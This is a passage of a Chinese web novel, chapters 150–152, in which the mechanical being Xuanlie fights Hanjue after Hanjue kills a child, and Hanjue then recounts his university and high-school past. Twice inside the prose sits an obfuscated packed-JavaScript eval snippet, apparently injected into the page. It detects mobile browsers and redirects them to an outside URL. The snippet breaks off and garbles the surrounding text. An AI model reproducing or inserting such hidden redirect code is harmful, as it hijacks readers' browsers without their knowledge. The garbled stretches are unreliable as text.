倒是惟妙惟肖的。玄烈趴在栏杆边仔细揣摩着头发的雕刻工艺,那些被他带来的二队小孩们也跟着趴着看。 “玄烈老师!你到很久了吗?” 绯篱抱着工具包从后面走来,玄烈反倒尴尬,“没有,我也是刚到……抱歉,给你添麻烦了。” 几个小孩眼睛溜溜地转,一张张脸上写满了好奇心。 “没事,正好我也需要帮手,”绯篱笑笑,“我刚去工程部取了趟工具。” “工程部?不是在B区吗?”玄烈问。 绯篱轻叹口气,“是在B区,B区26楼,我弄错了。” “你可以直接给我打电话,”玄烈晃晃腕表,“有什么需要我帮忙的吗?” “玄烈老师,借一步说话。” 让那群小孩抱着工具包,玄烈和绯篱站到墙边。 “颠转机器有问题,”绯篱说,“颠转很不稳定,至少我这里接收的信号是这样。” “很危险吗?为什么我们一点都感觉不到?”玄烈问。 “说明还有机器在运作,帮助这里稳定颠转。” “能测算出大致位置吗?” 绯篱略带愁容,“差不多,那台机器大概率在颠转信号最不稳定的中心,城区及其往南。” “最不稳定……难道找到那台机器,破坏掉,就有可能……” 后面的话玄烈没明说,绯篱也没接话,她的眼神就说明了一切。 “遥遥姐说的好差事就是帮你修机器吗?”玄烈话锋一转。 “没错,”绯篱耸耸肩,“其实舜总给我派了人手,遥遥老师硬是推了,说要叫你来。” 玄烈一怔,“遥遥姐居然可以改变舜希的意思吗?” “通常舜总的要求遥遥老师都会听,但偶尔她不按规定做事,舜总也不会管。”绯篱解释道。 如果是这样,说明遥遥身上的伤很可能并不是舜希制造的。那么除了舜希,遥遥还会替谁卖命呢? 见玄烈不语,绯篱主动走回到二队小孩们身边,招呼他们往楼下走。 小孩们挤进电梯时,玄烈特意叫住绯篱,“毕竟是机密,叫他们去,没问题吗?” 绯篱摆摆手,“没关系。上手修机器有我一个人就可以,需要的是他们分散开站在不同的地方替我测试信号波。” 正好玄烈上午答应的事情下午就能实现。 站在舜氏楼门口,玄烈给那些获胜了的小孩分发临时通行证,能够让他们顺利出舜氏的大门,各自站在城区的几个角落等待差遣。 剩下的就只能留在大楼,毫无新意毫无乐趣地像根针一样扎在舜氏。 他们都带着耳机,可随时听绯篱的命令进行移动。 小孩们按照绯篱初步制定的方位一哄而散,他们两个人则回到机器房里。 等待的时刻,玄烈终于得以拿出那张写着怪异网名的字条给绯篱看。 “我收到一条消息,是网名这个的人发来的,能找到这人的IP吗?”玄烈问。 “超级磐石小矿工?”绯篱笑出声来,“很可爱的网名呀。应该可以,我试试吧。这人给你发了什么值得你专门去找?” “无关紧要,但是是我一直想找的信息……就好像很巧,好像那个人知道我在想什么,在我最需要最好奇的时候,就送过来了。” “唔?这么厉害?”绯篱睁大了眼睛。 她随手用腕表展开一面虚拟屏幕,比玄烈腕表展开的更大,分辨率更高,网络权重也不一样。 玄烈眼看着她点进了被限制使用的高级浏览器,想来官大一级真就是不一样。何况绯篱是舜希的助理,官应该比他大好多好多级了。 “这么搜搜不到什么,有一些记录,但点进去都会发现这个号被注销掉了,即使登录历史版本去尝试联络这个号,也都是不在线无法连接的状态。唯一能查到的是这个号的注册地址……” “在哪?” “缱清州,”绯篱严肃地盯着屏幕,然后她骤然想到什么,“林老师是不是缱清州人?” “是,”玄烈有些失魂落魄,“阿烛也是。” “啊……”绯篱发出遗憾的声音,“没关系没关系,我那里有一台有更高权限的计算机,我回去再搜搜看,说不定能找到更多信息呢!” “喂喂,报告队长,我们已全部就位——” 耳机传来机械体们交叠在一起的声音,有的周遭安静,有的嘈杂混乱。 “那就开始吧。” 绯篱从工具箱里拽出一根长针一样的东西,有三十厘米长,细直而硬挺。 她一手握着调节旋钮,一手将针在机器侧面一横。原本无形的波当即就显出金黄的光。 手指一弹,针振动的同时,波也跟着起了一层层的浪,耳机里立刻有了鲜活的声音。 玄烈没听过这样的声音,感觉像是羽毛在轻扫天灵盖内侧,听一声浑身刺挠,但又分不清哪里痒得慌。 “A训练场,海鲜市场,北,东。”绯篱全神贯注地说。 “崎昼向正北方移动半米,崎朗向正东移动半米。”玄烈对耳机转达道。 “北。”绯篱再道。 “崎昼再往北半米。”玄烈再传达。 就这么一直工作到工作时段结束前的第二十分钟,玄烈始终像个中转站一样承接绯篱的命令再给小孩们发号施令。 倒也不算无聊,玄烈本身就是耐得住无聊的人,就是耳机里一阵阵的声音让玄烈坐立难安。 “你怎么了?”绯篱看玄烈表情扭曲。 “这声音……好难受。” “是不是太刺激了?那你和遥遥姐一样耳朵不好,她说她听见这声音也难受,”绯篱笑着动手调节音量,“我把哨声调小一点。” “什么哨声?” “嗯?不是哨声吗?就是像吹哨子一样,‘吱——吱——’的声音呀?” 绯篱还专门学着耳机里的声音给玄烈做了示范。一双干净的杏眼单纯地望着他,玄烈一时不知该作何解释。 “啊,嗯,嗯对,是……” “喂喂——” 耳机里突然有陌生的声音响起,然后是某人被放倒发出的撞击声、摩擦声和痛呼声。 腕表显示亮起的通讯灯位于城区靠近舜氏大楼西北方向的沙滩,是一个名叫崎佑的孩子的定位。 意识到不对,玄烈贴紧耳机呼叫道:“喂?崎佑,崎佑?” “别叫了,是我。我来要我的东西。” 又是琀珏这个家伙。 “玄烈老师,需要帮忙吗?”绯篱悄悄问。 “没事,我能处理,你这边……” “结束吧,”绯篱拨动开关,“今天进度推进很多了,明天继续。” “二队队员空地集合,”玄烈边往出走边命令着,“崎钥,你负责清点人数,没问题就可以休息了。” 耳机那边传来一声“收到。” 有定位就很好找,幸好离得也不远,玄烈三步并两步就到达了目的地。 但他刚到达先看到的是地上的尸体,脖子被拧断了。 “琀珏,你……” “我怎么?你以为我就是随便教训教训他吗?”琀珏拍拍手上的沙子,踹了已经死透的崎佑一脚,“太没用了,我是在替 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玄烈将那枚纽扣在琀珏眼前一晃,收进了领口的内兜,“无所谓,你的话我一律不感兴趣。如果我把你打趴下了,你得告诉我这纽扣怎么来的。” “你凭什么觉得我就会告诉你?” “就凭我真的能把你打趴下。” 肉眼可见琀珏脸颊紧绷的表情有一丝抽动,下一秒,小颗粒纽扣雨便冲刷而来。 库星锥凭空出现在玄烈手里,他左手挡在身前,引力场自然像盾一样替他将扑面的纽扣排除干净。锥刃上燃起的蓝火向上一挑,如同将军手中战旗,无数只幻影即刻被唤起,义无反顾地朝纽扣雨源头飞去。 二者相持间,玄烈反手将能量往外一拨,强大的推力将纽扣震到十万八千米远去,趁这个空挡,他闪现一般凑到琀珏身前要给他一刀。琀珏却早有防备。 纽扣雨在被打乱的瞬间就恢复控制,一个个仿佛悦动的小生灵,很快形成了一条奔腾汹涌的纽扣银河,在玄烈刚近琀珏身时,稳稳圈住了他, 风声大噪,沙尘漫天,视野模糊。玄烈也不不惯着,库星锥劈砍两下作用不大,他便甩出库星,计算出琀珏可能在的方向,“砰”地一枪。 瞬间,纽扣雨被打穿了个大口,口子那边琀珏扶着肩膀,表情不快。 进攻奏效了,纽扣开始泄气,幻影则成倍数增长。 琀珏指尖嗞啦一声放出树枝半曲折的锋利闪电,闪电在面对许多目标时自动分裂成岔路,每一个挨了电击的幻影都在刹那化为虚无。 库星锥尖端也连到了电,锥刃上一时爆燃不止,震得玄烈握着锥把的手一阵阵发麻。 远程不如近战,拼着库星锥爆炸的危险,他整条胳膊连带着库星锥爆发出更为刺眼的火焰。琀珏这边一缕闪电末端刚消失,他就拼尽全力冲了上去。 琀珏没有近战武器,这是他最大的弱点。锥刃的火和他手里一条条闪电每次碰撞都会产生一场小型烟花,玄烈连连逼近,琀珏连连后退。 玄烈身后琀珏召唤出的纽扣们甚至比不上玄烈进攻的速度。 但下一秒他就动不了了,因为被打得不耐烦的琀珏终于还是用透明的空气屏障将玄烈围堵起来,为了他能够有喘息的空间。 纽扣奔袭而来的速度不比马路上飞驰的汽车慢多少,那将近的呼啸声和压迫感带着要将他在这小小空间里粉身碎骨的气势。玄烈眼里回闪的都是一颗颗纽扣上反射的光,他也变得不耐烦。 这么打起来太慢了。 对着屏障外琀珏胜券在握的脸,玄烈抬起库星锥,狠狠切向自己的左小臂。 血液四溅,透明屏障上瞬间出现殷红的大小斑点。随即血往下流,留下爪痕一样的可怖痕迹。 150. 琀珏(2) 血雾和血痕挡住了琀珏穿过屏障观察玄烈的目光,他不由得瞪大了眼睛,刚想问个“怎么回事”,一声巨响便晃瞎了琀珏的眼。 准确来说,是听到巨响的同时,那颗亮如白昼的巨型子弹冲破屏障引燃在纽扣雨中间,导致琀珏有那么一会儿瞎了眼。 疼痛能忍,但身体各处古怪的反应让玄烈想忍都不知道怎么忍。恍若世界只剩下他的喘息声,还愈发急促,吵得他自己耳朵涨得疼。 玄烈想捂着自己的嘴想别再呼吸了,窒息又令他头疼。 病毒的滋味是不好受。 库星枪口飘飘悠悠散着青烟,玄烈立即把枪口对准还处在懵圈状态的琀珏。 扣下扳机,又是一声响,那颗“小型太阳”已经烧到辨不清是红光还是青光了,总之很烫,烫到眼眶里只剩一抹白色,烫到凡人轻轻碰一下都会被燎成粉末。 飞去的恍惚,子弹穿过一道闪电的残影同那不可亵渎的力量飞远。 “嗖”的一声,琀珏在生死时速时使出浑身解数一跃上天,现在正惊魂未定地单膝跪在那摸不到的空气墙上看着子弹掠过地面留下焦黑的印子。 可是那枚子弹忽地在远处停下了,没有爆炸,就这么悬停着。感觉到不对劲的琀珏刚一转头,就看到玄烈已然飞到了他面前。 没有库星,没有库星锥,浑身燃火,眼里颜色像是沸腾的血海,肌肉线条比先前更明显,血管暴起,手臂上深而宽的大口子还在往外涌血。 玄烈一只手掐住了琀珏的脖子,琀珏挣扎着手里还要放电,他也没有理会。另一只手对着远处像是在呼唤什么,紧接着,滚烫的热浪随风一波接一波往琀珏背上涌。 感受到身后越发猛烈的危胁,琀珏急迫中还想说什么。 脸庞被逐渐映得越来越亮的玄烈任强风将他头发吹得无比飘逸,他将食指放在嘴边,只对琀珏说了一个字。 “嘘。” 下一秒,琀珏就失去了意识。 浪涛拍岸,玄烈在事件责任书中签下了自己的名字,几个安保部派来的黑衣人架着崎佑尸体离开了。 所幸都是些沙子,再怎么炸也炸不出玻璃来,收拾起来还算简单,到时候叫几个二队小孩来就行。 何况爆炸是在空中点燃的,也就是整栋楼的人都听到了类似地震的声音、享受一刹那的白昼罢了。 琀珏四仰八叉地躺在地上,脑袋浸在海水里。黑衣人们没辨认出来躺着的人究竟是谁。为避免他呛死,玄烈还算用他那条被自己划伤的残手拖着琀珏一只脚,把他拖到了沙滩里来。 恢复了一些知觉,琀珏湿漉漉的咳个不停。他睁眼望着天,可能第一时间想的是“我在哪”和“我是谁”。 想爬起来却没力气。玄烈刚才看了看他的伤口,也就是断了几个骨头、后背烧了个大洞、仿生肺脏报废了而已。 这家伙还挺抗造的,玄烈想。 “是我命大还是你手软?”琀珏有气无力地问。 “是还没到你死的时候,”玄烈走到琀珏旁边蹲下,“但是就这么放过你,太可惜了。” 话毕,玄烈伸手就去摸琀珏后脑的智识芯片。琀珏虽然想躲,可他实在无力动弹。 芯片拔除后,琀珏瞬时关机变成了个死人。玄烈将芯片放在旁边建筑光下端详着看。 琀珏的芯片比他们这些舜氏机械体的芯片要小一个规格,看来韶赋修多年潜心研制的成果还不赖。玄烈轻轻一弹芯片的边角,芯片上便出现了一道裂痕。 再将芯片安插进琀珏脑袋时,琀珏的第一反应是双目无神地问:“你是谁?” “别装蒜,削你三成力而已,傻不了,”玄烈坐到琀珏身边不远处,“现在你该告诉我,纽扣怎么来的。” 琀珏干笑了两声,嘴角僵固地咧成特定的弧度,浑身疲软。 芯片受损,玄烈说削他三成力,很可能永远恢复不了了。 “那就,勉为其难地告诉你吧……” 五年前,九月,缱清州回清区,缱盛大学图书馆前。 灿阳高挂,风朗气清,树间仍藏蝉鸣,温度照旧热烈。 作为学生会主席的琀珏站在新生报到台后面的树荫下,斑驳树影把他脸映成了花猫。 来往新生老生全都盯着他看,时而还悄声讨论着什么。琀珏一概不管,始终抱着手臂目视前方。 大概是因为,他本来就变成了个花猫。 琀珏很少身上挂彩。大一军训的时候,几个小子找事结果被琀珏一敌多全部打得落花流水,自己却办点事没有,那时候他的名气就扩散开了。 但像今天这样,琀珏鼻青脸肿站着一句话不说,实属少见。 还不是韶赋修。前几天老师交待要校学生会搞个项目,下面院学生会两个刺头死活要和琀珏作对,琀珏没耐住手痒,挨个给敲了一顿。 结果他敲之前不知道这俩都是领导家孩子,直接一个处分加降职甩到琀珏脸上。 处分倒是无所谓,反正琀珏未来又不考公考研还不工作,而且如果等到毕业还等不来要找的人的话,说不定他还会换个身份再读一遍大学。 就是降职有点麻烦。 纪凛烛大伯不会放手让她考到外面的学校,小小年纪能直升本地大学是最省钱的选择。而韶赋修需要他找到纪凛烛,他也能借着学生会的身份和周边学校合作的名义到处游逛。 降职会被打到院学生会当小喽啰,到时候照样被那些人骑着脑袋耀武扬威,还很可能会错过她。 所以为摆平这件事,琀珏依照韶赋修所说,叫那两人出来喝顿酒吃顿饭唱个歌再被暴打一顿,这就算结束了。 天气一点没有转凉的念头,琀珏看着远处人群脚下坑坑洼洼的小水潭。说好的一场秋雨一场凉呢? 琀珏在秋老虎的袭击下越来越不耐烦。 新生们大包小包步履蹒跚,一个个眼睛里全带着稚嫩和好奇。他们从门口来到这里,再根据志愿者指示的路分散前往不同专业的报道口。 高精机械体研制通常是每年招生最少的专业,一年级也就三十号人。好不容易前面攒了十几号学生把行李装车一起拉到学校广场那边去,这边就又来了个女孩。 这么热的天,女孩居然穿着带帽卫衣和牛仔裤,头上还顶着个跟幼儿园小孩一样黄澄澄的渔夫帽,帽子上绣的是个小鸭子,鸭子还顶着个小太阳。她背着书包拽着个大箱子,走路慢慢悠悠的。 志愿者看过女孩的录取通知书后遗憾地说:“啊,前面刚走了一批,要不你再等等呢?一会车就回来了。” 女孩脸色惨白,“没事,我自己走也行。” “齐哥在吗齐哥在吗?小李?”志愿者对着对讲呼了两声,没有回应,随即抱歉地笑笑,“沿路的志愿者可能都帮忙搬行李去了,你可能会迷路,稍等一会吧。” 琀珏却上前一把拉过女孩的箱子,“我带路。” 再待下去,他绝对会被当场热成一滩铁水。 女孩的“谢谢”被抛在身后,琀珏也压根不管,只顾自己哼哧哼哧飞快往前走,因为走得越快越有风,能凉快点。 后面人好像还说了什么,声音跟蚊子似的,琀珏也没听。箱子轱辘在砖路上磕得震天响,他一溜烟走出去好远。 直到路过的人全看向他身后,一开始他们是窃窃私语着什么,后来大波大波的人迎面往琀珏相反方向跑,他才舍得回头。 身后空荡荡,远处一片黑压压的人围在一起,琀珏刚不以为意接着要走,听到那边喊“有人晕倒了”,他忽地想起来自己好像忘了什么。 医务室。 见女孩睁开了眼,琀珏认为自己仁至义尽了,二话不说起身就要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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温度计上大大的红色数字不停闪烁,时而三十九度六,时而三十九度八。 女孩眼眸发亮看着琀珏,嘴里念叨着:“五、四、三、二……” 喊道“一”时,那温度计竟就真的瞬间变成了绿色的三十六度五。女孩拿下温度计满意地笑笑,又将温度计举到琀珏眼前。 “怎么样?神奇吧?” 琀珏接过那温度计,翻来覆去地看以为是坏掉了。 “……我有一项特异功能,那就是我特别容易生病受伤,但也特别容易痊愈,而且通常还痊愈得……” 琀珏也不停女孩的话,又一次将温度计粗鲁地贴在女孩额头上,得出结果不变。 “痊愈得很快……我没骗人吧?” 女孩笑得像在短跑比赛里拿了小红花的小学生。很快她忽然想到了什么,赶忙翻身溜下床,“我得走了,不然被逮到要打针!” 说着女孩拽起自己行李就猫腰窜到门口,鬼鬼祟祟地左顾右盼一阵,径直穿过走廊跑进了楼梯间。 临消失前,女孩还笑盈盈地喊了两句,“请你帮我保密啊会长!谢谢你!我们有缘再见!” 不是说不认识路吗?! 琀珏愣了一下想要跟上去,走到门边脚下踩到一个石头似的硬硬的东西。他移开步子,捡起那枚圆溜溜的小物件。 硬币大小,中间是空的,形似荷包蛋,像是纽扣之类的东西。 琀珏面对女孩跑远半天不知道在想什么,眼睛心不在焉地盯着已经空掉的楼道。 他也是这个专业的,还是这一届的导助,怎么不会再见呢?如果可以的话,甚至可以天天再见的。 琀珏将纽扣揣进兜里。脸上的伤莫名作痛,他摸着微微肿胀的眼角,开始对某些事情产生好奇。 151. 琀珏(3) 第二天,新生军训晚训前的一个小时,辅导员通知班里学生去开会。 琀珏到得很早,毕竟他不用和新生赶一波高峰抢饭吃。 头顶天花板后的中央空调嗡嗡作响,徐徐凉风从网窗往进灌,吹得琀珏脑袋发凉,和浸在冰窖里一样。 他提前拿到名单,百无聊赖地浏览着名字,直到他看到“纪凛烛”三个字。 为确保没看错,他专门每个字一笔一划地订对,发现确实是这个名字,苦等多年终于等到了这个名字。 韶赋修远离缱清州,日常命令都通过电话,因此他的手很难伸到这里。从一开始到现在,他们知道的也就只有“纪凛烛”三个字,和她的大致出生时间。 其实是有帮手的,但不知为何韶赋修好像很防着对方,非必要绝不会开口。 没过一会儿,穿着统一的新生就开始往教室里走。 他们不知道琀珏是什么人,不知道琀珏一直盯着他们要做什么,一个个疑惑地随意找地坐。 直到女孩走来。 她是一个人进来的,没有和大家一样三两结伴。那张怯生生的脸显得比周边人都要青涩。 但她一看到琀珏就笑了,高高兴兴跑过来叫了声“会长好”,惹得旁边人都惊奇地看着他们。 琀珏就点了点头。他身上那股高冷劲一下哄起了空调的威风,强劲的冷风叫嚣着,场面一下显得有些尴尬。 他不说话,女孩也不知道再说点什么,只好干干笑着,装作无事发生随便找了个位置坐下。 人差不多到齐了。 高壮高壮的中年人严肃地走进来,站在讲台上还专门推推眼镜,清了清嗓,这才肯讲第一句话。 很符合从事这一行的刻板印象,看上去近视不浅,讲话一板一眼的,造机器人的比机器人还像机器人。大概就是辅导员。 就是些无聊的注意事项,再贩卖贩卖焦虑,强调几遍这一专业的专业性和高贵性,除此外没什么有用的话。 学生们早听得烦了,大多拿出手机开始玩。辅导员的例行公事结束,才想到要点个名。 “就当第一次班会了,琀珏,你点名吧,没来的扣分。”说完辅导员就走了。 琀珏拿着名单走上讲台,才想到辅导员忘了介绍他是谁。 学生们交头接耳,教室哄乱,大家都埋怨着何时结束。 “我叫琀珏,是校学生会会长,也是辅导员助理,大家有什么事也可以找我。接下来点名。” 琀珏丝毫不考虑别人听不听,那边还吵嚷着他这里就把话说完了。不过等他说完,大家也大致安静下来。很多人默默感叹着这会长真的气质不一样。 【玄烈:我怀疑这一句是你编的。】 【琀珏:爱信不信,这一点不容置疑。】 点名倒是顺利,没有一个名字带生僻字的孩子,琀珏很快就点到那个他重点关注的名字。 “纪凛烛。” “到!” 女孩高举起手。 她那一声“到”还在教室里回荡,窗外秋风横起,树叶唰唰如落雨,窗框震得嗡嗡响。外面天昏地暗,教室内敞亮明朗。 女孩的目光穿行在座位上所有人的目光间,琀珏眉目深沉地穿过人群凝视着他。 这是种很奇怪的感觉。在此之前琀珏的生活已经成为一种无意义的定式,在此之后全部将变得扑朔迷离。 “会长我们还没点呢!” 学生们又接着聒噪起来,琀珏顿了顿,进而往下念剩下的名字。 强降雨来得很突然,冲刷往事,天地连线。晚训被取消,他们兴高采烈地被困在这一方和谐的小天地。 仿佛秋天真的在这一场雨后到来了。 高精机械体研制和其他大多专业不同,部分科目是要求高年级低年级共同学习的,一般会分成不同的组,以老带新的方式做研究。 因为背靠韶赋修且自己就是个深藏不露的机器人,琀珏每届考试比赛双料第一从未失手,还没毕业就整了个工作室,日常和同学搞搞项目。 他指名要和纪凛烛一组,理由就是纪凛烛年纪很小能考上这个专业一定前途无量,同学们虽有侧目和风言风语,但掀不起浪来。 一个组五六号人,除了纪凛烛,琀珏谁也不会在意。 他曾问过韶赋修关于为什么对这么个小姑娘这么上心,何至于专门让他隐匿在学生中就为找到并监视其一举一动。 韶赋修一开始闭口不提,但一次酒后意识不清地开了口,于是琀珏知道了原因。 二十年前的旧事,纪凛烛的父亲纪棠烬也给舜延“助了一把力”。 他的存在是韶赋修实现计划的很大阻碍,暂不说他尚未脱离舜氏时纪棠烬就有意向要取代他的位置,在很多人畏惧战火而选择绥靖政策时,就是这个纪棠烬偏要打。 一个他一个玄铮,二人一拍即合,决定要誓死捍卫舜氏的一切权益,并说服了舜延。 其实也就一个普普通通的小孩,找到杀了也就算了,不就是报复吗?但韶赋修还想要那对机械臂,和那本《第二战备指南》。 不过韶赋修并没给琀珏指示太多,就一味让他跟着,确保纪凛烛能一直在他视线里,没半点具体的指令。 琀珏就只好想尽办法跟在纪凛烛身边。 但照他在学校里呼风唤雨的程度,应该是他想办法把纪凛烛捆在他身边才对。 他三番五次找到纪凛烛想还那枚纽扣,也不管人家推脱了千百次说那纽扣不是她的。 琀珏不信,还是追着每次见到每次要问。到后来他看到纪凛烛,时常都不用开口,纪凛烛就先一只手挡过来,“会长,那真不是我的。” 可是这回琀珏从口袋里掏出的不是纽扣,是他工作室的地址名片。 “以后叫我琀珏,我希望你能加入我们。” 一切都很顺利,纪凛烛十六岁就考进来的能力果然不容小觑。仅仅一年,纪凛烛就追上了琀珏大学三年进度的一半。 她很聪明,也很能吃苦,组里的人只有她跟得上琀珏的节奏。 渐渐的,有这么个得力助手在身边,琀珏干活越来越轻松起劲,况且纪凛烛话不多,一些交流在眼神互换中就完成了,省下很多事。 那天,组里的一个男孩开玩笑告诉琀珏这就叫“安全感”。 不过事情的进展和转变也来得措不及防。 因为纪凛烛实在成绩优异,专业课老师便建议她放弃手头的工作专攻学术,未来一步步向上爬升考取学位,未来再远渡重洋留个学,回到本地肯定各个科技公司抢着要,届时天天在家躺着挂个名也能兜里进钱。 她却从未表达过自己的意思。时间长了琀珏不免着急,问了几次,纪凛烛的反馈都是“把手头项目完结再说”。 他们半年前接了一个给健身馆设计对练型机器人的项目,最近第三批改良的成品出来了,纪凛烛正在全市各个健身房马不停蹄地做测试。连喝水的时间都要挤在通勤里,哪有空想那么远的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13894075|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 直到临放假有一天,项目终于圆满告终,工作室结下的项目款甚至可以直接将办公地点搬去市中心最高那栋楼里视线最好的那一层。 大家都说要聚一聚,从下午玩到晚上,吃完饭再去唱歌。 但纪凛烛请了下午的假。她没告诉琀珏她去哪,琀珏只得从别人口中知道,原来是一个从本校本专业保研到国际名校的学生回来了,那个专业课老师便请他劝劝纪凛烛考学的事。 “国际名校?叫什么名?”琀珏问。 “学校?我不知……” “我说那个人,叫什么名?” 琀珏有点不爽,可惜没人看出来,因为琀珏日常就是这副表情。 “好像叫全……全斯、斯什么来着……之前校榜上有他……” “全斯桉?”琀珏语气发狠地问道。 “对!学长你怎么知道?” 关于这个人真是一个字都不想提。琀珏没理会人家的话,臭着张脸就走了,剩下几个人疑惑地对望。 “学长你不去玩啦?学长!” 全斯桉这个名字,琀珏可真是记得太清楚了。 当年琀珏上了两遍高中,起先韶赋修让他熟悉熟悉人类生活,为的是说不定第二遍能赶上纪凛烛上高中。 可惜他苦等六年无果,倒是被这个畜生害得不轻。 那时候琀珏还不叫琀珏,叫琀屿。反正也换过不少名字了,琀珏对取名字这件事完全无所谓。 当时办户口弄学籍时,恰好他身边有一本旅游攻略,随意翻开一页描述的是位于辽阔汪洋中心的一座人烟罕至的小岛,他说:“那就屿吧。” 全斯桉是琀珏第一次上高中的同班同学,家里很有钱,次次考倒数,老师便痛心疾首地将他安排和琀珏坐在一起。 当时琀珏初到人类社会,什么都不懂,说话还很不讨人喜欢。 【玄烈:嗯,你现在说话也不讨人喜欢。】 【琀珏:你闭嘴。】 但全斯桉也是个愣头青,平时上课下课非要拉着琀珏聊天聊个没完,琀珏说什么他也不生气,还愿意乐呵呵地贴在琀珏身上。 有钱又傻的他有很多朋友,课余时间出去混也乐意叫上琀珏一起。开始是很好的,琀珏生平头一回有了“朋友”的概念,可惜现实不会让人太舒服地活着。 全斯桉渐渐变得不一样了,他的朋友从校内换成了校外的一批,见天逃课打架,一天到晚挥霍手里钱却还越来越多。 琀珏有次问他,才知道他那些见不得光的“生意”已经拓展到整个缱清州了。全斯桉有意拉他入伙,琀珏直接拒绝。 并不是他知道这样不好,而是他觉得很无聊。他一对赚钱不感兴趣,二有任务在身,三要是韶赋修知道了说不定还会把他胖揍一顿。 两个人没有吵架,但论当时的氛围来说,也算不欢而散了。全斯桉看上去有点生气,但他什么也没说。 而他们的再一次见面,是事情变化的开始。 那是某个冬夜,凌晨一点了,全斯桉突然给琀珏打电话叫他去市里一栋刚被拆掉的废弃医院冒险。 电话那边很不对劲,全斯桉好像在颤抖,他旁边很多人叽叽喳喳不知道说着什么,但琀珏没多想,就去了。 离得不算远,他简单套了个外套走着就去了。那片昏暗无光,他举着个手电筒,沿着一侧没有护栏的水泥楼梯往上走。 二层露天阳台边,迎接他的不是全斯桉,而是一具被摔得粉碎的女尸。 152. 琀珏(4) 女孩上身披着他们学校的外套,外套里像是条黑色的连衣裙,不远处还有个稀碎的眼镜框。 已经辨不清人形了,琀珏手电筒打着圈晃了晃,发觉竟照不全血液四溅的范围。 周围柱子上也爬得猩红一片,碎块遍地。 气压沉重,琀珏意识到这是个阴谋,他摸摸自己头顶和脸颊,发现自己没戴帽子和口罩。 露天台旁还有上去的路,但都没有防护,看女孩的样子,恐怕是从最顶端跳下来的。 “全斯桉!全斯桉!” 琀珏喊了两声。建筑空荡荡,回音撞击在钢筋混凝土间。掠过惨烈的尸体,声音一时变得湿漉漉的,扬不起来,该听的人听不见。 这天晚上琀珏没有回家,而是在警察局待了一个晚上。第二天他说他要去上学,几个警察偷偷说了些什么,就放他去了。 谣言还是四散开来,不过和琀珏没什么关系,大多只是谈论学校里有个女孩自杀的事。 琀珏去得很早,听了一耳朵。原来昨天晚上的那个女孩是学校建校以来第一个准备保送名校的学生,是学艺术的,拍的一些短片获了奖,于是被名校点名要走了。 程序还没走完,女孩前几天还一直上着学。大家赞叹她成绩又好还很有想法,说不定是未来的明日之星。 临近上课时间,全斯桉居然破天荒地来了学校。朋友们照往常那样和他打打趣,很快又都散了。 “你没有什么要和我解释的吗?”琀珏问他。 全斯桉不明所以,“什么?” 教室门打开,班长刚要喊“起立”,发现进来的却不是班主任。 三两个警察在教务处主任的带领下径直走向琀珏,“你还得跟我们去一趟。” 琀珏不是逆来顺受的性格,纵使在场所有人的目光都移向了他,他还是稳稳坐着。 “我所有知道的都已经说了。” “请你配合调查。”警察说着,往琀珏身前贴近一步。这让他深感威胁。 “你们为什么不问全斯桉?”琀珏站了起来。 “你在撒谎。” 警察伸手要去抓琀珏,琀珏应激地将其推开。人高马大的壮汉被这小孩这么一推竟推出去好几步远。 “我没有撒谎!是全斯桉给我打的电话让我去!如果是我干的,我为什么要报警!” 【玄烈:从来没见过你也能这么生气。】 【琀珏:那时候不懂,要放在现在,我可能第一反应是拧断全斯桉的脖子。】 “我什么时候给你打电话了?”全斯桉激愤地说,“我对你那么好!你要拿我当替死鬼啊琀屿!” 另一警察走上前对那名被推远的警察私语道:“那边查过了,没有通讯记录。” 琀珏登时明白了。全斯桉家大业大,手比他想象的伸得更远。 不过幸而他当时报了警,没有默默离开,没有放任尸体被后来的瓢泼大雨所打扰。 尸检结果里的死亡时间和琀珏出现的时间对不上,并且有证人证实案发前曾看到女孩出现在某台球厅,且没有证据显示女孩和琀珏有任何联系,所以即使监控里只有琀珏的身影,也无法定罪。 可惜的是这件事只能以自杀来结案,事实真相无人知晓。 学校是去不成了,风言风语一大堆,还有个全斯桉在那摆着,一些老师也猜忌着不给他好脸色看。 也是一天夜里,琀珏把全斯桉叫到一个酒店楼顶。正好酒店二三四层分别是酒吧、桑拿、台球厅,正好还就是证人说见过女孩的台球厅。 全斯桉当然害怕,所以叫了一堆自己的“好哥们”。 “我只要知道那天发生了什么。”琀珏说。 全斯桉轻易地就说了,琀珏没想为什么他就这么告诉了他,等到后来才为自己的天真买了单。 起因是前段时间女孩的剧组要租用台球厅拍点什么,但后续价钱没谈拢,拍摄的资料只有一半能用,补拍的话需要不少钱。 那天女孩作为制片人只身就来了,起初是好声好气的,但不知道怎么回事就吵起来了。恰好全斯桉和他大哥小弟都去玩,为了面子,全斯桉逞强着主动要和人家谈,谈不妥就要打人。 他们追,女孩就跑,一路跑到废弃医院想着躲起来就能躲过追打。但全斯桉的人一直追人家到顶层。 女孩一个没站稳就跌了下去,全斯桉当场就慌了。同行的人告诉他拉个替死鬼,全斯桉想都没想就打通了琀珏的电话。 至此,琀珏才知道原来全斯桉不仅删除了通讯记录,还在监控上下了手脚。 不过他此次叫全斯桉出来就是为了听听真相,至于是不是要杀他,琀珏没有做打算。 结果全斯桉话语刚落,他盘算着说什么的时候,全斯桉一个箭步冲上来将他从天台边推了下去。 狂风从耳边呼啸而过,那是一种无限逼近死亡的错觉,大脑发凉,浑身发僵。坠落的瞬间,琀珏余光瞟到全斯桉他们转身就跑远了。 本以为自己就交代在这里,可一秒都没到,琀珏就后背砸在一扇平面上。睁开眼睛,这高度伸出手就能抓到天台边缘。 